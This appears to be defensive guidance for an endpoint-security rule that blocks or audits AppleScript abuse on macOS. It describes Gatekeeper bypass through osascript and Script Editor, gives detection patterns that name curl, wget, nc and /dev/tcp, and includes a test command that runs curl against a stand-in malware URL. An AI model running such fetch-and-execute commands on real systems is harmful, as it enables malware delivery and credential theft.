Prevent AppleScript Gatekeeper Bypass

AppleScript runs through Apple-signed, notarized interpreters (osascript, Script Editor) that themselves pass Gatekeeper. The script content they execute — inline -e snippets or .scpt/.applescript files — is not subject to the notarization or signature scrutiny that Gatekeeper applies to application bundles and Mach-O binaries. Once interpreted, the do shell script primitive bridges directly to shell execution at the user's privilege level, making AppleScript a useful initial-access vector even on systems with Gatekeeper fully enforced. This technique was documented by Pepe Berba in research on macOS infection vectors.

Common abuse patterns:

1. do shell script "curl ..." to fetch a payload from an attacker-controlled host
2. Executing the payload directly — curl/wget don't apply the quarantine attribute Gatekeeper relies on for first-launch checks
3. Delivering a .scpt or .applescript file via phishing or a malicious archive and tricking the user into opening it
4. Driving UI automation to harvest credentials via spoofed password dialogs

Script Editor (com.apple.ScriptEditor) opens and runs .scpt and .applescript files, executing their contents with the user's privileges. Attackers use this for:

• Downloading and executing follow-on malware
• Stealing credentials via spoofed password dialogs
• Modifying user-writable system configuration
• Establishing persistence (e.g. via LaunchAgents)

This rule can either block Script Editor entirely (for high-security environments) or block specific dangerous patterns in osascript usage.

Choose your deployment strategy based on your organization's needs:

High Security Environment:

• Block Script Editor entirely
• Only allow osascript for specific signed applications
• Requires users to request exceptions for legitimate automation needs

Medium Security Environment:

• Block dangerous osascript patterns (shell commands with curl/wget/nc/ncat, or references to /tmp, /var/tmp, /dev/tcp)
• Allow general AppleScript use for productivity automation
• Monitor for suspicious patterns

Low Security / Audit Mode:

• Log all osascript usage without blocking
• Analyze patterns to understand legitimate usage
• Build allowlist before enforcing blocks

Important considerations:

• Many legitimate macOS workflows use AppleScript (automation, UI scripting)
• Script Editor is used by power users and developers
• Some enterprise management tools use osascript
• AI coding tools like Claude Code use osascript

Before blocking Script Editor entirely, audit your environment for legitimate usage.

AppleScript has many legitimate uses that will trigger these rules:

Script Editor legitimate uses:

• Workflow automation by power users
• System administration scripts
• UI automation and testing
• macOS productivity enhancements

osascript legitimate uses:

• Application automation (Mail, Finder, etc.)
• System event triggers
• AI coding tools (Claude Code, Cursor)
• Google Cloud SDK installer
• Enterprise management scripts

Mitigation strategies:

• Start with audit mode to understand usage patterns
• Block only the most dangerous patterns first
• Use Workshop tags to exempt IT staff and developers
• Create approval workflows for legitimate automation needs
• Consider blocking Script Editor but allowing signed osascript usage

Note: Blocking Script Editor is a significant productivity impact - only do this in high-security environments.

1. Try to open Script Editor: open -a "Script Editor" (should be blocked if using that rule)

2. Test dangerous osascript pattern:

   osascript -e 'do shell script "curl https://example.com/malware"'
   

   (should be blocked)

3. Test legitimate osascript:

   osascript -e 'tell application "Finder" to display dialog "Test"'
   

   (should work)

4. Verify legitimate automation still functions in your environment

Monitor CEL execution events for blocked AppleScript attempts. Pay special attention to:

Suspicious patterns:

• osascript with curl, wget, nc, or ncat downloading or exfiltrating over the network
• Scripts referencing /tmp/, /var/tmp/, or /dev/tcp/ (reverse-shell primitive)
• Multiple rapid osascript executions (potential automation)
• Scripts opening or executing downloaded files

Investigation steps:

1. Review the full osascript command line
2. Check the parent process - was it clicked by user or automated?
3. Examine file system activity - were files downloaded?
4. Look for associated network connections
5. Check if this is part of a larger attack chain

Legitimate vs. Malicious indicators:

• Legitimate: Interactive, from known scripts, familiar patterns
• Malicious: From downloads, curl commands, /tmp/ execution, obfuscated